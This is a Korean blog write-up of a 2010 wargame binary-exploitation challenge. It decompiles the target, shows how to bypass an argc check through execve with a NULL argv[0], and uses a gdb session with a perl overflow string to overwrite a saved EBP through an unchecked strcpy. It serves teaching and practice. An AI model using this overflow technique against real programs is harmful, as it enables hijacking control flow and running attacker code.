Major Study./System hacking

SMP2010 binary hacking6 풀이

sosal 2010. 11. 24. 05:10
반응형
/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

smp2010 중, 6번 바이너리 해킹문제 입니다.
문제파일입니다.


리눅스 서버에서 wget 툴을 사용하여 바이너리를 일단 받죠. (위 파일의 url임)
wget http://sosal.tistory.com/attachment/cfile23.uf@167E83114CEC1DCD1F4271

받은 파일의 이름을 간단하게 바꾸고, file 명령어로 실행이 가능한 파일인지 확인 후
실행해봤습니다. Segmentation fault! 작렬하네요.
argv를 넣어보니, 뭔가 인자를 발견했다 하고 바로 꺼지네요..?



(일단 설치하고 문제 프로그램의 이름을 myfile로 수정하여 공격하겠습니다.)



매개변수를 여러개 넣어도 같은 결과네요.
리눅스에서 바로 분석하긴 힘드니 IDA를 이용해서
이 문제의 프로그램을 분석해봐야겠습니다. ㅎㅎ



ELF 파일 형식으로 로드해서.. 켜서 어셈블리를 분석해봤습니다.
우선 처음 메인루틴입니다.



단순히 인자를 받아 있으면 어떤 함수 (vuln1) 실행, 없으면 종료. 하는 프로그램입니다.
좀더 자세히 보기위해 IDA에서 제공하는 헥스레이를 이용하여
C언어 (수도코드) 로 확인해 봅시다.



main(int argc,char *argv[]) 겠네요.
매개변수가 존재하면, exit(0), 종료를 해버립니다 --;
argument를 넣지 않아야 vuln1이 실행되는데, 여기서 a2+4를 넘기네요.
(a2 + 4) 인 이유는, argv[0]는 파일 이름, argv[1]은 첫번째 매개변수이므로
메인함수에서는 첫번째 매개변수를 함수로 전달하는 역할을 하고 있네요.

그러니까 문제는 argument 수는 0개 (즉 파일이름만..)를 넣으면서
argument에 쉘코드나 여타 헥사를 집어넣어서 공격하란말 --;
쉘에서는 당연히 불가능한 일이겠죠.
프로그래밍, execl() 시스템콜을 이용하여야만 가능할 것 같습니다.
exec 계열로, 원하는 위치의 프로그램을 실행하면서, argv[0]부터 마음대로 수정할 수 있기 때문에
// (argv[0]은 기본적으로 파일 이름이 들어가도록 되어있습니다.)
argv[0]에 NULL을, argv[1]에다 값을 삽입해주면 우리가 원하는 일을 할 수 있겠죠.

vuln1 함수에 들어가 헥스레이로 c로 변환해보니



매개변수 그대로를 가져와 다시 vuln2 함수로 또다시 전달하네요.



마지막 vuln2 함수에서 dest라는 녀석에 strcpy 한 후 return 0;
여기서 vuln2 라는 녀석의 리턴값을 공격하면 되겠네요.
BOF 취약점이 가볍게 보입니다.

다시 어셈블리로 vuln2 함수를 볼까요?









Dest의 위치가 -64h (100) 이므로
100byte + 4byte (EBP) + Shellcode (RET)
를 넣어주면 공격이 될 것으로 예상해 봅니다.














그럼 일단 이문제에서 if( argc > 1) exit(0); 이 루틴을 피해야만 하는데,
그러기 위해서는 프로그래밍이 필요하다고 말했습니다.

이 루틴을 피하는 프로그램을 만들어 보겠습니다. (문제 프로그램의 이름은 myfile 입니다.)


execl에 의해 실행 되는데, argv[0]에 NULL을 넣기 때문에,
실행될 myfile (공격대상) 의 argc는 0이 됩니다.
따라서 found argument 조건문을 통과할 수 있습니다.

/* 
 * gcc attack.c -o attack
 * execve 함수를 이용하여, 마지막 인자로 argv[1] (사용자의 입력)을 전달.
 * execl 같은 함수를 이용하면 되지 않더군요..
 * vortex 워게임 4번과 유사한 문제입니다.
 */




/*
 * gcc test.c -o test
 * execve에 의해 실행되는 test 프로그램이며,
 * 제대로 인자가 넘어왔는지 확인해주는 역할을 합니다.
 * /




result of attack file.



argc를 속이는데 성공하였고, 사용자의 입력에 따라 perl이나 python으로도
argv[1] 위치에도 원하는 문자열을 줄 수 있는 프로그램을 만들었습니다.

이제 타겟 프로그램이 test가 아닌, myfile로 옮겨주면, 공격이 시작됩니다.


/*
 * gcc attack.c -o attack
 * 공격파일입니다.
 * argv[1]번에 perl 이나 python으로 자유롭게 헥사값을 넣을 수 있습니다.
 * 공격하는 바이너리는 myfile 입니다.
 */
 





이제부터 폭풍의 디버깅이 시작됩니다 --;
sosal@kaspyx-desktop:~$   gdb ./attack
(gdb) catch exec // execve 함수가 실행한 뒤에, 제어권을 잃지 않도록 하는 명령어
Catchpoint 1 (exec)
(gdb) r `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
// 위에서 예상한 바로, 100byte + 4byte (ebp) + 4byte(ret),
// 즉 0x77777777이 리턴되길 기대해봅시다.

Starting program: /home/sosal/attack `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
Executing new program: /home/sosal/myfile
Catchpoint 1 (exec'd /home/sosal/myfile), 0xb7833810 in ?? ()
   from /lib/ld-linux.so.2
(gdb) disas main // catch exec 덕분에 제어권을 가져왔습니다.
Dump of assembler code for function main:
0x08048419 <main+0>:    lea    0x4(%esp),%ecx
0x0804841d <main+4>:    and    $0xfffffff0,%esp
0x08048420 <main+7>:    pushl  -0x4(%ecx)
0x08048423 <main+10>:   push   %ebp
0x08048424 <main+11>:   mov    %esp,%ebp
0x08048426 <main+13>:   push   %ecx
0x08048427 <main+14>:   sub    $0x4,%esp
0x0804842a <main+17>:   mov    %ecx,-0x8(%ebp)
0x0804842d <main+20>:   mov    -0x8(%ebp),%eax
0x08048430 <main+23>:   cmpl   $0x1,(%eax) // 반드시 통과할 것입니다. (execve)
0x08048433 <main+26>:   jle    0x804844f <main+54>
0x08048435 <main+28>:   sub    $0xc,%esp
0x08048438 <main+31>:   push   $0x8048540
0x0804843d <main+36>:   call   0x804830c <puts@plt>
0x08048442 <main+41>:   add    $0x10,%esp
0x08048445 <main+44>:   sub    $0xc,%esp
0x08048448 <main+47>:   push   $0x0
0x0804844a <main+49>:   call   0x804831c <exit@plt>
0x0804844f <main+54>:   mov    -0x8(%ebp),%edx
0x08048452 <main+57>:   mov    0x4(%edx),%eax
0x08048455 <main+60>:   add    $0x4,%eax
0x08048458 <main+63>:   mov    (%eax),%eax
---Type <return> to continue, or q <return> to quit---
0x0804845a <main+65>:   sub    $0xc,%esp
0x0804845d <main+68>:   push   %eax
0x0804845e <main+69>:   call   0x8048403 <vuln1>
//여기서 break * 걸고, 함수로 진입(si)

0x08048463 <main+74>:   add    $0x10,%esp
0x08048466 <main+77>:   mov    $0x0,%eax
0x0804846b <main+82>:   mov    -0x4(%ebp),%ecx
0x0804846e <main+85>:   leave
0x0804846f <main+86>:   lea    -0x4(%ecx),%esp
0x08048472 <main+89>:   ret
End of assembler dump.
(gdb) b *main+69 // call vuln1 에서 break* 걸기
Breakpoint 2 at 0x804845e
(gdb) c // vuln1 실행 바로전까지 가기
Continuing.

Breakpoint 2, 0x0804845e in main ()
Current language:  auto; currently asm
(gdb) si //vuln1 함수로 진입
0x08048403 in vuln1 ()
(gdb) disas vuln1
Dump of assembler code for function vuln1:
0x08048403 <vuln1+0>:   push   %ebp
0x08048404 <vuln1+1>:   mov    %esp,%ebp
0x08048406 <vuln1+3>:   sub    $0x8,%esp
0x08048409 <vuln1+6>:   sub    $0xc,%esp
0x0804840c <vuln1+9>:   pushl  0x8(%ebp)
0x0804840f <vuln1+12>:  call   0x80483e4 <vuln2>
0x08048414 <vuln1+17>:  add    $0x10,%esp
0x08048417 <vuln1+20>:  leave
0x08048418 <vuln1+21>:  ret
End of assembler dump.
(gdb) b *vuln1+12 // vuln2 함수 실행 직전에 break *
Breakpoint 3 at 0x804840f
(gdb) c // vuln2 실행 바로전까지 가기
Continuing.

Breakpoint 3, 0x0804840f in vuln1 ()
(gdb) si // vuln2 함수로 진입
0x080483e4 in vuln2 ()
(gdb) disas vuln2
Dump of assembler code for function vuln2:
0x080483e4 <vuln2+0>:   push   %ebp
0x080483e5 <vuln2+1>:   mov    %esp,%ebp
0x080483e7 <vuln2+3>:   sub    $0x78,%esp
0x080483ea <vuln2+6>:   sub    $0x8,%esp
0x080483ed <vuln2+9>:   pushl  0x8(%ebp)
0x080483f0 <vuln2+12>:  lea    -0x64(%ebp),%eax
0x080483f3 <vuln2+15>:  push   %eax
0x080483f4 <vuln2+16>:  call   0x80482fc <strcpy@plt>
0x080483f9 <vuln2+21>:  add    $0x10,%esp
0x080483fc <vuln2+24>:  mov    $0x0,%eax
0x08048401 <vuln2+29>:  leave
0x08048402 <vuln2+30>:  ret // 우린 리턴직전 ebp와 ret 값만 확인하면 된다.
End of assembler dump.
(gdb) b *vuln2+30 // Ret까지 이동
Breakpoint 4 at 0x8048402
(gdb) c
Continuing.

Breakpoint 4, 0x08048402 in vuln2 () // 리턴하기 직전 도착
(gdb) info reg
eax            0x0      0
ecx            0xbffcc693       -1073953133
edx            0x6d     109
ebx            0xb781eff4       -1216221196
esp            0xbffcc6fc       0xbffcc6fc
ebp            0x66666666       0x66666666 // ebp가 0x66으로 덮혔다!
esi            0x8048490        134513808
edi            0x8048330        134513456
eip            0x8048402        0x8048402 <vuln2+30>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) q

자. 덮는걸 확인했으니 이제 저 ret값에 쉘코드만 넣어주면 된다.